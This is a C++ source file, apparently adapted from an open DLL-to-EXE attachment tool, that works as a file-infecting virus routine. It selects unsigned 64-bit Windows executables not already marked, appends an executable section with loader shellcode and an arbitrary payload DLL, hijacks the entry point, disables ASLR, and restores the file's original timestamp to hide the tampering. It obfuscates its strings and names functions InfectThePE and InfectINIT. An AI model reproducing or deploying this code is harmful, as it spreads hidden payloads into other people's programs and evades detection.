/**
 * Attach dll in exe as memory module
 *   v0.3.6, developed by devseed
*/

#include <stdio.h>
#define WINPE_IMPLEMENTATION
#define WINPE_NOASM
#include "winpe.h"
#include <assert.h>
#include <windows.h>
#include <fstream>
#include <wintrust.h>
#include <softpub.h>
#include <chrono>
#include <iomanip>
#include <filesystem>
#include "../Encrypt.h"

#pragma comment(lib, "wintrust.lib")
// these functions are stub function, will be filled by python
#include "winmemdll_shellcode.h"
#include <vector>
#include <iostream>
#define FUNC_SIZE 0x400
#define SHELLCODE_SIZE 0X2000


std::vector<uint8_t> pyldyy = {
	0x4D, 0x5A, 0x00
};

#ifdef _WIN64
#define g_oepinit_code g_oepinit_code64
#define g_memreloc_code g_memreloc_code64
#define g_membindiat_code g_membindiat_code64
#define g_membindtls_code g_membindtls_code64
#define g_findloadlibrarya_code g_findloadlibrarya_code64
#define g_findgetprocaddress_code g_findgetprocaddress_code64
#else
#define g_oepinit_code g_oepinit_code32
#define g_memreloc_code g_memreloc_code32
#define g_membindiat_code g_membindiat_code32
#define g_membindtls_code g_membindtls_code32
#define g_findloadlibrarya_code g_findloadlibrarya_code32
#define g_findgetprocaddress_code g_findgetprocaddress_code32
#endif

void _makeoepcode(void* shellcode,
    size_t shellcoderva, size_t dllrva,
    DWORD orgexeoeprva, DWORD orgdlloeprva)
{
    // bind the pointer to buffer
    size_t oepinit_end = sizeof(g_oepinit_code);
    size_t memreloc_start = FUNC_SIZE;
    size_t membindiat_start = memreloc_start + FUNC_SIZE;
    size_t membindtls_start = membindiat_start + FUNC_SIZE;
    size_t findloadlibrarya_start = membindtls_start + FUNC_SIZE;
    size_t findgetprocaddress_start = findloadlibrarya_start + FUNC_SIZE;

    // fill the address table
    size_t* pexeoeprva = (size_t*)(g_oepinit_code + oepinit_end - 8 * sizeof(size_t));
    size_t* pdllbrva = (size_t*)(g_oepinit_code + oepinit_end - 7 * sizeof(size_t));
    size_t* pdlloeprva = (size_t*)(g_oepinit_code + oepinit_end - 6 * sizeof(size_t));
    size_t* pmemrelocrva = (size_t*)(g_oepinit_code + oepinit_end - 5 * sizeof(size_t));
    size_t* pmembindiatrva = (size_t*)(g_oepinit_code + oepinit_end - 4 * sizeof(size_t));
    size_t* pmembindtlsrva = (size_t*)(g_oepinit_code + oepinit_end - 3 * sizeof(size_t));
    size_t* pfindloadlibrarya = (size_t*)(g_oepinit_code + oepinit_end - 2 * sizeof(size_t));
    size_t* pfindgetprocaddress = (size_t*)(g_oepinit_code + oepinit_end - 1 * sizeof(size_t));
    *pexeoeprva = orgexeoeprva;
    *pdllbrva = dllrva;
    *pdlloeprva = dllrva + orgdlloeprva;
    *pmemrelocrva = shellcoderva + memreloc_start;
    *pmembindiatrva = shellcoderva + membindiat_start;
    *pmembindtlsrva = shellcoderva + membindtls_start;
    *pfindloadlibrarya = shellcoderva + findloadlibrarya_start;
    *pfindgetprocaddress = shellcoderva + findgetprocaddress_start;

    // copy to the target
    memcpy(shellcode, g_oepinit_code, sizeof(g_oepinit_code));
    memcpy((uint8_t*)shellcode + memreloc_start, g_memreloc_code, sizeof(g_memreloc_code));
    memcpy((uint8_t*)shellcode + membindiat_start, g_membindiat_code, sizeof(g_membindiat_code));
    memcpy((uint8_t*)shellcode + membindtls_start, g_membindtls_code, sizeof(g_membindtls_code));
    memcpy((uint8_t*)shellcode + findloadlibrarya_start,
        g_findloadlibrarya_code, sizeof(g_findloadlibrarya_code));
    memcpy((uint8_t*)shellcode + findgetprocaddress_start,
        g_findgetprocaddress_code, sizeof(g_findgetprocaddress_code));
}


size_t _sectpaddingsize(void* mempe, void* mempe_dll, size_t align)
{
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)mempe;
    PIMAGE_NT_HEADERS  pNtHeader = (PIMAGE_NT_HEADERS)((uint8_t*)mempe + pDosHeader->e_lfanew);
    PIMAGE_FILE_HEADER pFileHeader = &pNtHeader->FileHeader;
    PIMAGE_OPTIONAL_HEADER pOptHeader = &pNtHeader->OptionalHeader;
    size_t _v = (pOptHeader->SizeOfImage + SHELLCODE_SIZE) % align;
    if (_v) return align - _v;
    else return 0;
}



bool IsFileInUse(const std::string& filePath) {
    // Attempt to open the file with write access and no sharing
    HANDLE hFile = CreateFileA(
        filePath.c_str(),
        GENERIC_WRITE,
        0, // No sharing: exclusive access
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );

    if (hFile == INVALID_HANDLE_VALUE) {
        DWORD error = GetLastError();
        if (error == ERROR_SHARING_VIOLATION || error == ERROR_ACCESS_DENIED) {
            return true; // The file is in use or access is denied
        }
    }
    else {
        // If we can open the file, close the handle
        CloseHandle(hFile);
    }

    return false; // The file is not in use
}

bool IsSignedByValidCertificate(const std::string& filePath) {
    // Convert the file path to a wide string
    std::wstring wideFilePath(filePath.begin(), filePath.end());

    WINTRUST_FILE_INFO fileInfo = { 0 };
    fileInfo.cbStruct = sizeof(WINTRUST_FILE_INFO);
    fileInfo.pcwszFilePath = wideFilePath.c_str();
    fileInfo.hFile = NULL;
    fileInfo.pgKnownSubject = NULL;

    WINTRUST_DATA wintrustData = { 0 };
    wintrustData.cbStruct = sizeof(WINTRUST_DATA);
    wintrustData.dwUIChoice = WTD_UI_NONE;
    wintrustData.fdwRevocationChecks = WTD_REVOKE_NONE;
    wintrustData.dwUnionChoice = WTD_CHOICE_FILE;
    wintrustData.pFile = &fileInfo;
    wintrustData.dwStateAction = WTD_STATEACTION_VERIFY;
    wintrustData.dwProvFlags = WTD_SAFER_FLAG;
    wintrustData.hWVTStateData = NULL;
    wintrustData.pwszURLReference = NULL;

    GUID policyGUID = WINTRUST_ACTION_GENERIC_VERIFY_V2;

    LONG result = WinVerifyTrust(NULL, &policyGUID, &wintrustData);
    wintrustData.dwStateAction = WTD_STATEACTION_CLOSE;

    return (result == ERROR_SUCCESS);
}

std::string datanam;

bool IsPE64NotOpenNoRBData(const std::string& filePath) {

	// Check if the file is open by another process
	if (IsFileInUse(filePath)) {
		//std::cerr << EC("The file is currently in use by another process: ") << filePath << std::endl;
		return false;
	}


    // Open the file
    std::ifstream file(filePath, std::ios::binary | std::ios::in);
    if (!file.is_open()) {
        //std::cerr << EC("Failed to open file: ") << filePath << std::endl;
        return false;
    }

    // Read the DOS header
    IMAGE_DOS_HEADER dosHeader;
    file.seekg(0, std::ios::beg);
    file.read(reinterpret_cast<char*>(&dosHeader), sizeof(IMAGE_DOS_HEADER));

    // Verify DOS header
    if (dosHeader.e_magic != IMAGE_DOS_SIGNATURE) {
        //std::cerr << EC("Invalid DOS header signature.") << std::endl;
        return false;
    }

    // Move to NT Headers
    file.seekg(dosHeader.e_lfanew, std::ios::beg);

    // Read NT Headers
    IMAGE_NT_HEADERS64 ntHeaders;
    file.read(reinterpret_cast<char*>(&ntHeaders), sizeof(IMAGE_NT_HEADERS64));

    // Verify NT header
    if (ntHeaders.Signature != IMAGE_NT_SIGNATURE) {
        //std::cerr << EC("Invalid NT header signature.") << std::endl;
        return false;
    }

    // Check if the file is a 64-bit executable
    if (ntHeaders.FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) {
       // std::cerr << EC("The file is not a 64-bit executable.") << std::endl;
        return false;
    }

    // Read Section Headers
    std::vector<IMAGE_SECTION_HEADER> sectionHeaders(ntHeaders.FileHeader.NumberOfSections);
    file.read(reinterpret_cast<char*>(sectionHeaders.data()), sizeof(IMAGE_SECTION_HEADER) * ntHeaders.FileHeader.NumberOfSections);

    // Check for .rbdata section
    for (const auto& section : sectionHeaders) {

        std::string sectionName(reinterpret_cast<const char*>(section.Name), 8);
        sectionName.erase(std::find(sectionName.begin(), sectionName.end(), '\0'), sectionName.end()); // Remove null padding

		/*std::cout << sectionName << std::endl;
        std::cout << section.VirtualAddress << std::endl;
        std::cout << section.SizeOfRawData << std::endl;*/

        if (sectionName == datanam.c_str()) {
            //std::cerr << EC("The file contains a .rcdata section. and it is: ") << filePath << std::endl;

            return false;
        }

        if (sectionName.empty() && section.VirtualAddress == 0 && section.SizeOfRawData == 0) {
            std::cout << EC("PROBLEM: ") << filePath << std::endl;
            return false;
        }/**/
    }

    // Check if the file is signed by a valid code signing certificate
    if (IsSignedByValidCertificate(filePath)) {
        //std::cerr << EC("The file is signed by a valid code signing certificate: ") << filePath << std::endl;
        return false;
    }

    // If all checks pass, return true
    return true;
}

namespace fs = std::filesystem;

void* mempe_dll = NULL;
size_t mempe_dllsize = 0;

int injectdll_mem(const char* exepath)
{

    fs::file_time_type original_time = fs::last_write_time(exepath);

    std::cout << EC("CK 1") << std::endl;

    size_t exe_overlayoffset = 0;
    size_t exe_overlaysize = 0;
    void* mempe_exe = NULL;
    size_t mempe_exesize = 0;
    size_t imgbase_exe = 0;
    IMAGE_SECTION_HEADER secth = { 0 };
    char shellcode[SHELLCODE_SIZE];

    std::cout << EC("CK 2") << std::endl;

    // Load exe and dll PE 
    mempe_exe = winpe_memload_file(exepath, &mempe_exesize, TRUE);

    if (!mempe_exe) {
        printf(EC("Failed to load PE file: %s\n"), exepath);
        return -1;
    }

    if (!mempe_dll)
    {
        mempe_dll = winpe_memload_buffer(pyldyy.data(), pyldyy.size(), &mempe_dllsize, TRUE);
    }

    std::cout << EC("CK 3") << std::endl;

    void* mempe = mempe_exe;
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)mempe;
    PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((uint8_t*)mempe + pDosHeader->e_lfanew);
    PIMAGE_FILE_HEADER pFileHeader = &pNtHeader->FileHeader;
    PIMAGE_OPTIONAL_HEADER pOptHeader = &pNtHeader->OptionalHeader;

    std::cout << EC("CK 4") << std::endl;

    // Append section header to exe
    size_t align = sizeof(size_t) > 4 ? 0x10000 : 0x1000;
    size_t padding = _sectpaddingsize(mempe_exe, mempe_dll, align);
    secth.Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE;
    secth.Misc.VirtualSize = (DWORD)(SHELLCODE_SIZE + padding + mempe_dllsize);
    secth.SizeOfRawData = (DWORD)(SHELLCODE_SIZE + padding + mempe_dllsize);
    strcpy((char*)secth.Name, datanam.c_str());
    winpe_noaslr(mempe_exe);
    winpe_appendsecth(mempe_exe, &secth);

    std::cout << EC("CK 5") << std::endl;

    // Adjust DLL addr and append shellcode, IAT bind is in running
    size_t shellcoderva = secth.VirtualAddress;
    size_t dllrva = shellcoderva + SHELLCODE_SIZE + padding;
    DWORD orgdlloeprva = winpe_oepval(mempe_dll, 0); // Origin orgdlloeprva
    DWORD orgexeoeprva = winpe_oepval(mempe_exe, secth.VirtualAddress);
    _makeoepcode(shellcode, shellcoderva, dllrva, orgexeoeprva, orgdlloeprva);

    std::cout << EC("CK 6") << std::endl;

    // Open the existing file in read-write mode
    FILE* fp = fopen(exepath, EC("rb+"));
    if (!fp) {
        std::cerr << EC("Failed to open file for writing: ") << exepath << std::endl;
        if (mempe_exe) free(mempe_exe);
        return -1;
    }

    std::cout << EC("CK 7") << std::endl;

    // Write the modified memory back to the file 
    fseek(fp, 0, SEEK_SET);
    fwrite(mempe_exe, 1, mempe_exesize, fp);
    fwrite(shellcode, 1, SHELLCODE_SIZE, fp);
    for (size_t i = 0; i < padding; i++) fputc(0x0, fp);
    fwrite(mempe_dll, 1, mempe_dllsize, fp);
    fclose(fp);

    std::cout << EC("CK 8") << std::endl;

    if (mempe_exe) free(mempe_exe);

    fs::last_write_time(exepath, original_time);


    return 0;
}


std::time_t to_time_t(const fs::file_time_type& ftime) {
	auto sctp = std::chrono::time_point_cast<std::chrono::system_clock::duration>(
		ftime - fs::file_time_type::clock::now() + std::chrono::system_clock::now()
	);
	return std::chrono::system_clock::to_time_t(sctp);
}

void InjectDLLWithSEH(const char* exepat)
{
	__try
	{
		injectdll_mem(exepat);
	}
	__except (EXCEPTION_EXECUTE_HANDLER) {
		// Handle the exception (if needed)
	}
}

void InfectINIT(std::vector<uint8_t> biit, string idey)
{
	pyldyy.clear();
	datanam = EC(".rcdata") + idey;
	pyldyy = biit;

}


void InfectThePE(string exepat)
{

	// Call the SEH-protected function
	InjectDLLWithSEH(exepat.c_str());

}

